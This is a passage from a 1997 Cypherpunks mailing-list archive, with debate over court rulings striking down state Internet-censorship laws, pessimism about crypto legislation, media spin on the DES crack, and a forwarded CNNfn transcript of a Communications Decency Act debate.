that the time and resources might have been better spent.

*Sigh*







From mnorton at cavern.uark.edu  Fri Jun 20 17:18:06 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sat, 21 Jun 1997 08:18:06 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



I consider Dan an expert in the area, myself, and agree with most of
his thinking on the subject.  Defamation law is 1A-involved, so maybe
not an apt comparison.  It's subject to a national, not community,
standard in that regard, unlike obscenity.

On the other hand, while states actually have constitutionally 
enshrined authority over liquor, there is Healey v. The Beer
Institute, cite I can't remember.
MacN 

On Fri, 20 Jun 1997, Declan McCullagh wrote:

> Pardon me as I muddle through this --
> 
> Defamation law looks to local communities to define
> things like reputation. What about huge Internet
> communities? What about the distinction between public
> and private figures?
> 
> Wouldn't an even-handed application of the commerce
> clause stop states from banning child porn or passing
> libel/defamation laws for the Net?
> 
> Though I agree that no court would strike down a child
> porn law on commerce clause grounds...
> 
> Dan Burk has written much about this topic, and I'm
> planning to read up on it over the weekend. One of his
> law review articles came up during oral arguments before
> Judge Preska in NYC.
> 
> -Declan
> 
> 
> On Fri, 20 Jun 1997, Mac Norton wrote:
> 
> > On Fri, 20 Jun 1997, Steve Schear wrote:
> > 
> > > >But the rulings differ in important ways. Manhattan's
> > > >Judge Preska did not answer whether the New York law
> > > >violated the First Amendment, saying she was going to
> > > >wait for the U.S. Supreme Court's to rule on the
> > > >Communications Decency Act. She said, however, that
> > > >she didn't *need to answer* that question to strike
> > > >down the law since it violated the U.S. Constitution's
> > > >ban on states attempts to regulate commerce outside
> > > >their borders.
> > > 
> > > Might this also mean that states attempting to restrict Internet gaming
> > > might similarly be restrained?
> > 
> > Not necessarily, and that's ilustrative of one of the problems with this
> > decision on Commerce Clause grounds.  Is child porn, like other articles
> > of "commerce", generic across state lines, or is it subject to a Miller
> > "community standard"?  Same for the "harmful to minors" standard?
> > MacN
> >   
> > 
> > 
> > 
> 
> 






From declan at well.com  Fri Jun 20 17:21:43 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 21 Jun 1997 08:21:43 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



Pardon me as I muddle through this --

Defamation law looks to local communities to define
things like reputation. What about huge Internet
communities? What about the distinction between public
and private figures?

Wouldn't an even-handed application of the commerce
clause stop states from banning child porn or passing
libel/defamation laws for the Net?

Though I agree that no court would strike down a child
porn law on commerce clause grounds...

Dan Burk has written much about this topic, and I'm
planning to read up on it over the weekend. One of his
law review articles came up during oral arguments before
Judge Preska in NYC.

-Declan


On Fri, 20 Jun 1997, Mac Norton wrote:

> On Fri, 20 Jun 1997, Steve Schear wrote:
> 
> > >But the rulings differ in important ways. Manhattan's
> > >Judge Preska did not answer whether the New York law
> > >violated the First Amendment, saying she was going to
> > >wait for the U.S. Supreme Court's to rule on the
> > >Communications Decency Act. She said, however, that
> > >she didn't *need to answer* that question to strike
> > >down the law since it violated the U.S. Constitution's
> > >ban on states attempts to regulate commerce outside
> > >their borders.
> > 
> > Might this also mean that states attempting to restrict Internet gaming
> > might similarly be restrained?
> 
> Not necessarily, and that's ilustrative of one of the problems with this
> decision on Commerce Clause grounds.  Is child porn, like other articles
> of "commerce", generic across state lines, or is it subject to a Miller
> "community standard"?  Same for the "harmful to minors" standard?
> MacN
>   
> 
> 
> 






From mnorton at cavern.uark.edu  Fri Jun 20 17:23:53 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sat, 21 Jun 1997 08:23:53 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



On Fri, 20 Jun 1997, Declan McCullagh wrote:

> Steve -- Believe it or not, yes, state Net-gambling laws could fall under
> the dormant commerce clause and be struck down by courts. If they ruled
> consistently. I suspect they won't. 

Congress has traditionally accorded states wide latitude in regulating 
gambling, nor is gambling yet recognized by Congress as legitimate
commerce, generally speaking.  It's still regarded as criminal
behavior.  State murder laws are not unconstitutional on the ground
that contracts for killing are made ikn interstate commerce.:)
MacN

So, the dormant CC may not apply.






From mnorton at cavern.uark.edu  Fri Jun 20 17:24:14 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sat, 21 Jun 1997 08:24:14 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



On Fri, 20 Jun 1997, Steve Schear wrote:

> >But the rulings differ in important ways. Manhattan's
> >Judge Preska did not answer whether the New York law
> >violated the First Amendment, saying she was going to
> >wait for the U.S. Supreme Court's to rule on the
> >Communications Decency Act. She said, however, that
> >she didn't *need to answer* that question to strike
> >down the law since it violated the U.S. Constitution's
> >ban on states attempts to regulate commerce outside
> >their borders.
> 
> Might this also mean that states attempting to restrict Internet gaming
> might similarly be restrained?

Not necessarily, and that's ilustrative of one of the problems with this
decision on Commerce Clause grounds.  Is child porn, like other articles
of "commerce", generic across state lines, or is it subject to a Miller
"community standard"?  Same for the "harmful to minors" standard?
MacN
  






From tcmay at got.net  Fri Jun 20 17:28:49 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 08:28:49 +0800
Subject: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: 



At 4:32 PM -0700 6/20/97, Declan McCullagh wrote:
>Perhaps there is more reason to be worried than Anonymous lets on.
>
>This afternoon I stopped by the office of a Congressional staffer who
>will, appropriately, remain anonymous. This person knows crypto, follows
>it, even truly believes in it. But they were pessimistic about any good,
>or even half-decent, crypto legislation leaving the Congress. Which
>committee will insert it? And what good crypto legislation would pass a
>presidential veto?
>
>DC crypto-lobbyists should have seen this coming. Instead of lifting
>export controls -- or even leaving intact the status quo -- Congress is
>about to make things worse.
>
>Perhaps cypherpunks should turn crypto-rejectionist.

Hey, that's _my_ line!!! (:-})

I've been arguing the "rejectionist" view for a long time. I even mentioned
this to Bidzos and Zimmermann, separately of course, and they both uttered
some variant of "Sign me up." Could be marketspeak jive in one or both
cases, but probably both saw the essential hopelessness of having Congress
reaffirm the Constitution. And this is all that was ever needed.

As I've said, the problems of whether some company can _export_ some
product, serious as they are to _them_, are as nothing compared to
mandatory key escrow, criminalization of crypto, and restrictions on
domestic use.


>On Sat, 21 Jun 1997, Anonymous wrote:
>
>> Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
>> got to go through at least one and possibly two more committees before
>> it reaches the senate floor, where we'll have another chance to defeat it.
>>
>> Even then the house has to pass similar legislation.  That will be yet
>>another
>> chance.

It will sail through. Trust me.


>> When Clipper was proposed, a wave of anger and opposition swept forth.
>> The same thing needs to happen now.  This fatalism is self defeating.

Au contraire, "Anonymous." I was there. Maybe you were there (your writing
style reminds me of someone).

What Cypherpunks did then was not to lobby for some law to halt Clipper.
Check the archives if you don't believe this.


>> Either you're part of the solution or you're part of the problem.
>>People who
>> say there's no use fighting, who give up, who oppose the efforts of the
>> crypto lobbying groups in the name of ideological purity, are not part of
>> the solution.  They have no right to complain if this law passes.  By
>> sitting aside and carping at the efforts of those who are trying to stop
>>this
>> kind of legislation, they are only helping to bring it about.

We are not "carping" about those "trying to stop this kind of legislation."
Most of us did not condemn Pro-CODE, though it had some flaws. (And
Pro-CODE II was an absolute disgrace, giving power back to the TLAs to
determine algorithms...might as well not even have it.) SAFE was of course
perniciously evil, as it criminalized a form of speech. Nothing in the
Constitution allows such criminalization of a form of speech. But I have
written much on why SAFE is bad leglislation.

In any case, all the much-publicized lobbying of EPIC and CDT and all the
rest to get "compromise" legislation through has led to what? To a
last-minute, politics as usual substitution and passage of a draconian,
Orwellian bill which will change the landscape of freedom in the world.

The only way to fight it is by monkeywrenching enforceability, and by
pushing the limits of offshore communication.

Or by more severe steps. They have earned it.

--Timothy McMay


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From gbroiles at netbox.com  Fri Jun 20 17:36:55 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sat, 21 Jun 1997 08:36:55 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: 
Message-ID: <3.0.2.32.19970620170015.00950c20@mail.io.com>



>One reason this is occuring is that there is no direct consequence to the
>legislators.

I suggest adopting two very popular memes to reach this goal - three
strikes term limits. A legislator who votes for three different laws which
are eventually struck down as unconstitutional shall be removed from
office, and unable to serve in the legislature again for at least 25 years.

Perhaps first offenders can be offered the opportunity to participate in a
diversion program, whereby they're forced to [re]take classes in
constitutional law and civics, and if they succesfully complete the program
and don't reoffend within one year, the first violation will be ignored. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From mnorton at cavern.uark.edu  Fri Jun 20 17:38:36 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sat, 21 Jun 1997 08:38:36 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
In-Reply-To: 
Message-ID: 



Apologies to Declan for replying to a private message on the list.
Gotta to learn to read those headers all the way through.:)

The "Dan" mentioned is Dan Burk, an acomplished young law professor
who has done some relevant writing on the subject.
MacN

On Fri, 20 Jun 1997, Mac Norton wrote:

> I consider Dan an expert in the area, myself, and agree with most of
> his thinking on the subject.  Defamation law is 1A-involved, so maybe
> not an apt comparison.  It's subject to a national, not community,
> standard in that regard, unlike obscenity.
> 
> On the other hand, while states actually have constitutionally 
> enshrined authority over liquor, there is Healey v. The Beer
> Institute, cite I can't remember.
> MacN 
> 
> On Fri, 20 Jun 1997, Declan McCullagh wrote:
> 
> > Pardon me as I muddle through this --
> > 
> > Defamation law looks to local communities to define
> > things like reputation. What about huge Internet
> > communities? What about the distinction between public
> > and private figures?
> > 
> > Wouldn't an even-handed application of the commerce
> > clause stop states from banning child porn or passing
> > libel/defamation laws for the Net?
> > 
> > Though I agree that no court would strike down a child
> > porn law on commerce clause grounds...
> > 
> > Dan Burk has written much about this topic, and I'm
> > planning to read up on it over the weekend. One of his
> > law review articles came up during oral arguments before
> > Judge Preska in NYC.
> > 
> > -Declan
> > 
> > 
> > On Fri, 20 Jun 1997, Mac Norton wrote:
> > 
> > > On Fri, 20 Jun 1997, Steve Schear wrote:
> > > 
> > > > >But the rulings differ in important ways. Manhattan's
> > > > >Judge Preska did not answer whether the New York law
> > > > >violated the First Amendment, saying she was going to
> > > > >wait for the U.S. Supreme Court's to rule on the
> > > > >Communications Decency Act. She said, however, that
> > > > >she didn't *need to answer* that question to strike
> > > > >down the law since it violated the U.S. Constitution's
> > > > >ban on states attempts to regulate commerce outside
> > > > >their borders.
> > > > 
> > > > Might this also mean that states attempting to restrict Internet gaming
> > > > might similarly be restrained?
> > > 
> > > Not necessarily, and that's ilustrative of one of the problems with this
> > > decision on Commerce Clause grounds.  Is child porn, like other articles
> > > of "commerce", generic across state lines, or is it subject to a Miller
> > > "community standard"?  Same for the "harmful to minors" standard?
> > > MacN
> > >   
> > > 
> > > 
> > > 
> > 
> > 
> 
> 






From tcmay at got.net  Fri Jun 20 17:45:29 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 08:45:29 +0800
Subject: "Strength of encryption standard proved again"
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: 



( cryptography at c2.net removed from the distribution list, as I am not a
subscriber to that list, and Perry has admonished me when I have
accidentally left his list on the cc: to my messages)


Reuter (Washington, Friday), Security experts reported today that the
nation's encryption standard, "DES," has been proved to be secure. "It took
more than 1000 computers working for 3 months before a single "toy example"
was finally found, " reported Murray Bowdark, Director of the Computer
Security Association, Ft. Meade, Maryland.

"This shows that even a concerted effort by thousands of hackers will take
months," said Bowdark.  "And since hacking like this is outlawed by new
legislation just passed by Congress, this makes "cracking DES" about as
improbable as proving that the CIA imported drugs."


(OK, I confess. Not a real press release. But, as ET notes below in his
article, the spin doctors are already drawing the conclusion that many of
us expected they would draw: by using the crack to prove that this means
DES is resistant against thousands of computers running for months. And to
tell the truth, were I less aware of some of the issues surrounding
hardware-based DES-crackers, I admit that this report would tend to leave
me with this impression. I can imagine most of our parents would look up
from the CNN report on this and say, if they said anything, "OK, so my bank
account is pretty secure.")




At 5:05 PM -0700 6/20/97, ET wrote:
>I caught the Headline News mention of the DES crack and it
>unfortunately put the wrong spin on things.
>
>I can't remember it word for word, but it went like this:
>"If you're going to decrypt financial transactions you'd better
>be prepared to get 1000 computers and spend 3 months on
>the project."
>
>The report was delivered with a hint of a smile, as if to suggest
>that the time and resources might have been better spent.
>
>*Sigh*


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From 3umoelle at informatik.uni-hamburg.de  Fri Jun 20 19:03:21 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 21 Jun 1997 10:03:21 +0800
Subject: Party on IRC
In-Reply-To: 
Message-ID: 



Robert Hettinga  writes:

>Is there an encrypted IRC available?
>
>If not, shouldn't there be?
>
>Is such a thing even possible?

Only ROT13, it seems. But it it certainly possible for IRC clients
that are available as source code.






From frissell at panix.com  Fri Jun 20 19:12:08 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sat, 21 Jun 1997 10:12:08 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: 
Message-ID: <3.0.2.32.19970620201129.00699bd8@panix.com>



-----BEGIN PGP SIGNED MESSAGE-----

At 11:00 AM 6/20/97 -0700, Alan wrote:
>I sometimes think that Oregon is being used as a beta test for some of the
>more draconian laws due for the rest of the country.

That's what happens when you live in places settled by those "Scandahuvians." 
 They're real control freaks.  And they attract other control freaks.

>An example is the new law waiting to be signed by the Govenor.  It would
>expand the reasons a cop can use to detain and search you.  Currently they
>need to have probable cause that you committed a crime.  The new law
>expands that to probible cause that you are about to commit a crime and a
>whole host of things they can detain and question you on.  

As in what?  Since you can (and always should) refuse to answer cop's 
questions (beyond name, rank and serial number) they can ask all they want 
but since they aren't judges they can't order you to say anything much.  
Lying is considered obstruction of justice but silence isn't.  

DCF

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6scMIVO4r4sgSPhAQFOPgP/ZXunn9jmDdqZkOW4PuLW9eGCHMJVbUIJ
KbHUfdBzJa7hMgYPJ7r9NQ8Mw+CQhq72LlkHZxel3SmVBmfZnYpLsXHJLS80N+T4
P9Um+lXth+vRcOU3WWrSyGRpuIzjOYS/4nZwTfK5M+qg0w90475iaj0tqUH7zoPl
pBW+NGkStTQ=
=jHcQ
-----END PGP SIGNATURE-----






From declan at pathfinder.com  Sat Jun 21 10:13:27 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sat, 21 Jun 1997 10:13:27 -0700 (PDT)
Subject: CNNFN transcript -- EPIC vs. Family Research Council on CDA
In-Reply-To: <199706211620.JAA05418@fat.doobie.com>
Message-ID: 


First: If I were Rotenberg's press whore, I think I'd be fired quickly for
flaming him over wanting big government solutions, including new Federal
agencies, for privacy. 

Second: 20KB messages aren't unusual on cypherpunks. Don't like it, filter
it out, don't read it, unsubscribe. But don't whine about "spam." Get a
clue already.

Third: What I found interesting was Cathy's take on the upcoming CDA
ruling.

Fourth: I sense a bit of envy, Anonymous. What, "second-rate news shows"
like CNN-FN didn't call you for comment? 

-Declan


On Sat, 21 Jun 1997, Huge Cajones Remailer wrote:

> So when did you turn into Rotenberg's press whore?  This 20k transcript
> you just spammed me with is no different than a hundred other mediocre
> debates on second-rate news shows that we have all been subjected to since
> people started whining about the CDA. Boring.
> 
> 
> 
> 






From dformosa at st.nepean.uws.edu.au  Fri Jun 20 19:17:34 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 21 Jun 1997 10:17:34 +0800
Subject: Fw: Advance Bank launches ecash
In-Reply-To: 
Message-ID: 



On Fri, 20 Jun 1997, Steve Schear wrote:

[...]

> It isn't clear to me, from their lengthy regulation list, whether a
> non-Australian can open an account.

[...]

> 2. Fee schedule.  Advance plans to charge a 0.5% discount to funds entering
> the mint, like traveller's checks.  Either banking competition must be
> different in Australia or they know something I don't.  This would probably
> not fly in the US under current competitive conditions.

Its the first,  Australian banking compertion is very bad.  The last
goverment enqury ended up basicly saying internet commerse will increase
compertion.  IIRC correctly there are laws illeglising the keeping of
records in e-cash systems however austlii is down so I can't check. 

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From sameer at c2.net  Fri Jun 20 19:25:27 1997
From: sameer at c2.net (sameer)
Date: Sat, 21 Jun 1997 10:25:27 +0800
Subject: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706210210.TAA08094@gabber.c2.net>



	Not at all surprising, considering the wording of Rocke's
press release. 


> I caught the Headline News mention of the DES crack and it
> unfortunately put the wrong spin on things.
> 
> I can't remember it word for word, but it went like this:
> "If you're going to decrypt financial transactions you'd better
> be prepared to get 1000 computers and spend 3 months on
> the project."
> 
> The report was delivered with a hint of a smile, as if to suggest
> that the time and resources might have been better spent.
> 
> *Sigh*
> 
> 


-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer at c2.net






From dlv at bwalk.dm.com  Fri Jun 20 19:29:05 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 21 Jun 1997 10:29:05 +0800
Subject: Mail server down :(
In-Reply-To: <199706201713.MAA01206@mailhub.amaranth.com>
Message-ID: 



"William H. Geiger III"  writes:
> My ISP is in the process of switching backbone providers

To AGIS, I hope.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From jwn2 at qualcomm.com  Fri Jun 20 19:46:39 1997
From: jwn2 at qualcomm.com (John W. Noerenberg)
Date: Sat, 21 Jun 1997 10:46:39 +0800
Subject: It's not over
In-Reply-To: <199706202210.AAA28568@basement.replay.com>
Message-ID: 



At 12:10 AM +0200 6/21/97, Anonymous wrote:
>Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
>got to go through at least one and possibly two more committees before
>it reaches the senate floor, where we'll have another chance to defeat it.
>
>Even then the house has to pass similar legislation.  That will be yet another
>chance.

Even if it makes it thru Congress, perhaps it can be challenged by the
courts because of possible 4th amendent abuses.

Lots of opportunity to sink it.

Sure this is a lousy turn of events, but it's only 1 battle.  It isn't even
close to the end of the war.

john noerenberg
jwn2 at qualcomm.com
pager: jwn2 at pager.qualcomm.com
  --------------------------------------------------------------------
   "We need not to be left alone.  We need to be really
    bothered once in a while."
  -- Ray Bradbury, Farhenheit 451, 1953
  --------------------------------------------------------------------







From declan at well.com  Fri Jun 20 19:46:59 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 21 Jun 1997 10:46:59 +0800
Subject: CNNFN transcript -- EPIC vs. Family Research Council on CDA
Message-ID: 





---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 22:16:38 -0400
From: Marc Rotenberg 
To: fight-censorship at vorlon.mit.edu



I'm not looking for any awards, but I thought this

debate with Cathy Cleaver went very well. As I said

earlier, she doesn't expect to win next week.


Marc.


----------


Geneva                              
      CNNFN


                       SHOW: IT'S ONLY MONEY 13:00 pm ET


                   June 20, 1997; Friday 1:17 pm Eastern Time


                          Transcript # 97062002FN-l05


HEADLINE:  Panel Discussion on Internet Pornography Law


GUESTS:  Cathy Cleaver, Bruce Fancher, Marc Rotenberg


BYLINE:  Valerie Morris


BODY:


    VALERIE MORRIS, CNNfn ANCHOR, IT'S ONLY MONEY: The Supreme Court is
expected to rule on the constitutionality of the Communications Decency
Act, better known as the CDA, sometime next week.  Now, whatever the
outcome, the CDA will set the precedent for all future laws involving
any censoring of material on the Internet. The past year's debate over
the CDA has divided net users into distinct camps of - on issues of
cyber censorship.


    I'm joined today by some important members of those opposing camps,
first of all from our bureau in Washington, Marc Rotenberg, who is
director of the Electronic Privacy Information Center.  Marc was a
counsel in challenging the CDA.  And from our bureau in Los Angeles,
Cathy Cleaver, director of legal policy with the Family Research
Council - Cathy co-authored a brief on behalf of members of Congress in
defense of the CDA.  And with me here in our New York studio is our
Generation-X representative on the issue, Bruce Fancher.  Formerly a
computer hacker, now an entreprenuer, Bruce is the president of Online
Evolution Systems.  He is also the co- founder of Digital Liberty,
which is an online civil rights advocacy group.  To all of you,
welcome.  


    CATHY CLEAVER, DIRECTOR, FAMILY RESEARCH COUNCIL: Thank you.


    MORRIS: I'd like to start out - Cathy, could you please outline
what the CDA proposes?


    CLEAVER: What the CDA does is make it a crime to knowingly send
indecent material or pornography to known minors and also makes it a
crime to knowingly make it available to minors without taking good
faith steps to try to screen minors out, a very reasonable law, no
censorship involved.  We like that word "censorship." But it's very
similar to other laws restricting adults from selling, giving or
showing pornography to children in other media.


    MORRIS: OK.


    Marc, what's EPIC's response, and what is the challenge with regard
to the CDA from your perspective?


    MARC ROTENBERG, DIRECTOR, EPIC: Well, EPIC and the American Civil
Liberties Union challenged the constitutionality of the bill, and so
far, we've been successful in our litigation.  We've had 2 panels of
judges in New York and Philadelphia that have agreed with us
unanimously that, contrary to what Cathy says, the bill was poorly
drafted.  It sweeps much too broadly.  It tries to prohibit access to
information that the First Amendment has always protected. 


    MORRIS: All right.


    And now to Bruce, who is here in the studio with me, what's your
stance with regard to the issue?


    BRUCE FANCHER, PRESIDENT, EVOLUTION ONLINE SYSTEMS: My stance is
that, while I think the law is clearly ridiculous and unconstitutional,
I'm inclined to see it a little bit like the British tax on tea in
1776.  So in some sense I hope it is upheld because, sooner or later,
the government is going to try to regulate in Internet and we need to
start developing tools now to make that difficult or impossible,
including moving some of these operations offshore.


    MORRIS: I'm now going to try and facilitate this with all 3 of you
jumping in as you see fit.  I would like to ask Bruce, though, a
follow- up question. 


    Do you see any business related activity on the net being impacted
dramatically by the CDA?


    FANCHER: Well, my business could potentially be impacted.  We run a
discussion group which is open to anyone who wants to join, and that's
about 10,000 people on it.  And we don't have any control of what the
people say.  So we're vulnerable in that way.


    MORRIS: Cathy, is indecency out of control on the Internet in your
opinion? 


    CLEAVER: Well, we know that people online that sell pornography,
for instance, is the fastest growing online marketing right now. It's
impossible now to predict what exactly would happen if the CDA were
upheld, but let me tell you, you know, when the CDA was first
presented, online pornographers started checking their material.  They
started screening for children, but then when they won their first
round in the courts, as Eric mentioned, they went back to showing free
pictures of pornography to anyone who came to the site.  So, yes, I
think it should affect business.  Pornography is a booming business
online, but it shouldn't affect the adult's ability to get pornography,
but only children's ability to get pornography, which is what indecency
laws have done for 30 years. 


    MORRIS: Marc, there are regulations for television, regulations for
radio. How is the Internet different?  


   ROTENBERG: Well, the Internet is very different from television and
radio.  There is no central licensing.  There is no government review
or authority.  The Internet is much more like a series of
interconnected bookstores or newsstands or libraries, and to understand
just how sweeping the CDA could be in its application, it would
effectively restrict the ability to anyone to publish information on
the Internet, which is why, you know quite frankly, I think the Supreme
Court, when it rules next week, will say no, you can't legislate in
this manner.  


    CLEAVER: That is truly ridiculous I think, because, listen, we've
got indecency laws that effect all of those areas that he just
mentioned.  So the question.


    ROTENBERG: Cathy, to what (OFF-MIKE)


    CLEAVER: .really is -- the question is just: Should we provide an
exemption in cyberspace to Larry Flint?  Should he be able to sell his
magazines to 12 year olds online?  We, as a society, say no, you can't
do that over the - in a bookstore and you can't rent or sell x- rated
videos to kids in a video stores. Should pornographers have a carte
blanche in cyperspace?  It makes no sense. And the Constitution doesn't
require that.


    Look, free speech is not an absolute right.  We all know that. 
Adults are not able to exploit children by selling them or giving
pornography anywhere, and they should be able to, and I believe they
won't be able to do that on the Internet.


    MORRIS: The CD.


    ROTENBERG: Valerie.


    MORRIS: Yes?


    ROTENBERG: .if I could ask a question here.


    MORRIS: Yes, you can.


    ROTENBERG: Cathy, how do you think the Supreme Court is going to
rule next week?  I mean, let's just - let's be blunt about this.  Are
they going to side with you and say this type of sweeping legislation
is permissible, or are they going to side with the people who have been
trying to defend free speech online and say, no, you can't do this in
this country, you can't try to impose such draconian legislation and
controls on what other people may see even if you happen to disagree
with it?


    MORRIS: I'm going to ask you both to hold.


    Cathy, I will start with your answer when we come back.  We do need
to take a break right now.  Don't go away.  We will be back with more
on IT'S ONLY MONEY with more on the Communication Decency Act, and when
we return, we'll open up the phones for your questions, the number,
1-800-304-fnet.  Back in a moment. 


    VALERIE MORRIS, CNNfn ANCHOR, IT'S ONLY MONEY: We are talking about
the Communications Decency Act with Marc Rotenberg who is Director of
Electronic Privacy Information Center and in opposition to the CDA,
Cathy Cleaver who is Director of Legal Policy for the Family Research
Council and a supporter of the CDA, and Bruce Fancher, an entrepreneur,
founder of Evolution Online Systems.  He believes the Internet should
be completely unregulated. 


    We will be taking your calls.  The number 1-800-304-FNET.


    As we went to break, Cathy, you had been asked a question by Marc,
how do you think the Supreme Court will rule?  Please give us your
answer.   


    CATHY CLEAVER, DIRECTOR, FAMILY RESEARCH COUNCIL: Well, one of the
challenges, of course, is to the indecency standard itself, and we can
look to just last year when the Supreme Court upheld the indecency
standard as a constitutional standard, not overly broad and not vague. 
You know, the decency standard means a patently offensive depiction of
sexual or excretory activities. So, it's not a vague challenge.  So, I
think that's a definite win.  I find it difficult to see how the
Supreme Court would reverse itself, since just last year in the cable
pornography case, it upheld indecency regulation using that standard
for cable.  But also, remember, this law has a lot of good faith
defense that people can use to show pornography to adults but also make
attempts to keep it from children.  That's all the law's ever
required.


    MORRIS: But there are a couple of things-the CDA's being challenged
on a couple of bases.  One is because some say that it's too broad. 
The other is a standard of decency is unconstitutional, and I think
those are the concerns, Bruce, some of which you had an opinion with
regard to how the Supreme Court is going to rule.  And you say it's
because of the unconstitutional issue? 


    GBRUCE FANCHER, PRESIDENT, EVOLUTION ONLINE SYSTEMS: Well, I'm not
a lawyer, but from what I've read, it seems to me-my opinion will rule
that it's unconstitutional.  But I'm much less concerned with placing
faith in the political process to protect the Internet than with
developing tools which we can use to effectively protect our privacy
and our right to communicate and engage in trade on the Internet,
regardless of what the government decides to do.


    MORRIS: Because those are also issues.  I mean, we sometimes get
stuck on this one, but the CDA also covers surveillance, encryption and
consumer privacy. But the most immediate concern tends to be this free
speech issue in Cyberspace. 


    CLEAVER: If I can just jump in, the CDA protects privacy in
Cyberspace.  So, that's how it addresses privacy.  It upholds and
refers to EPIC's privacy provision that it got it in.


    MORRIS: Mark, do you agree?


    MARC ROTENBERG, DIRECTOR, EPIC: I don't know what Cathy's talking
about. We didn't have anything to do with the drafting of the bill. 
It's bad for privacy.  But let me just say in response to Bruce, while
I'm aware of his concerns and I think there should be good techniques
to protect privacy and liberty online, I have not given up on the
American political system.  I feel very strongly about our
constitutional form of government, and the first amendment in
particular.  And I think next week will in fact be a great victory for
our system of government.  We will preserve liberty in the online
world. 


    MORRIS: All right, we have a caller, Darren, from Canada, thanks
for joining us. What's your question or comment?


    CALLER: Yes, basically I'm just wondering how this all will be
enforced. 


    MORRIS: All right, who would like to take that on?  How will the
law be enforced?


    CLEAVER: I can take that.  Just like other laws are enforced, where
first of all, we would require or rely upon, you know, self regulation,
that's what happens now with video stores and magazine stores.  We
require the clerks to abide by the law.  And when they don't, then when
they run afoul of the law, then prosecutors can, you know, bring an
action against them and an investigation.  You know, it's not going to
be like some have suggested that there's going to be some government
Cyberpolice or some sort of government pre-screening of information of
all of that which suggests great privacy violations.  The law doesn't
do that.  This is kind of like Chicken Little.  You know, the sky is
going to fall if the CDA is upheld.  That's just nonsense. 


    MORRIS: But what it does to and part of the concern is what about
the liability?  Who is going to be liable?  Marc, can you take that
on?


    ROTENBERG: Yes, well, the liability issue here is actually key. 
You asked the question at the outset, what is the impact on business? 
The impact would be enormous for anyone who's trying to use the
Internet to get information out. 


    CLEAVER: Only pornographers.


    ROTENBERG: That's not true, and you know that's not true.


    CLEAVER: That is true.


    ROTENBERG: People engaging in speech, operating chat rooms,
discussion groups.


    CLEAVER: Patently offensive sexual or excretory speech.


    ROTENBERG: Sexual information.  We had people testifying at the
Philadelphia hearing that if they were providing medical information on
breast cancer or to AIDS patients that they faced a risk of prosecution
under the statutes. 


    CLEAVER: That's just not true.  The indecency definition has never
been applied in that way.  It's never been applied in that way.


    ROTENBERG: The judges who have looked at the CDA heard our
arguments, heard your arguments, have rejected your arguments.  They
don't agree with you, Cathy. 


    CLEAVER: Well those judges didn't.


    ROTENBERG: And I think it's important to keep that in mind.  We are
going to win next week in the Supreme Court.


    MORRIS: I would like to inject something here, and ask Bruce, with
regard to your business, will the CDA have direct impact on your
business, and especially because you still have online chat rooms?  I
mean, do you see that as a potential area where you could be held
liable?


    FANCHER: That's really something that I've been concerned about.  I
haven't consulted a lawyer specifically, but I'm definitely concerned
about it. 


    MORRIS: OK, we have another caller, Christian, from New York. 
Thanks for joining us.  What's your question?


    CALLER: Hi, my question is as follows: How can we regulate the
world?  As we know, the Internet is not only one organization located
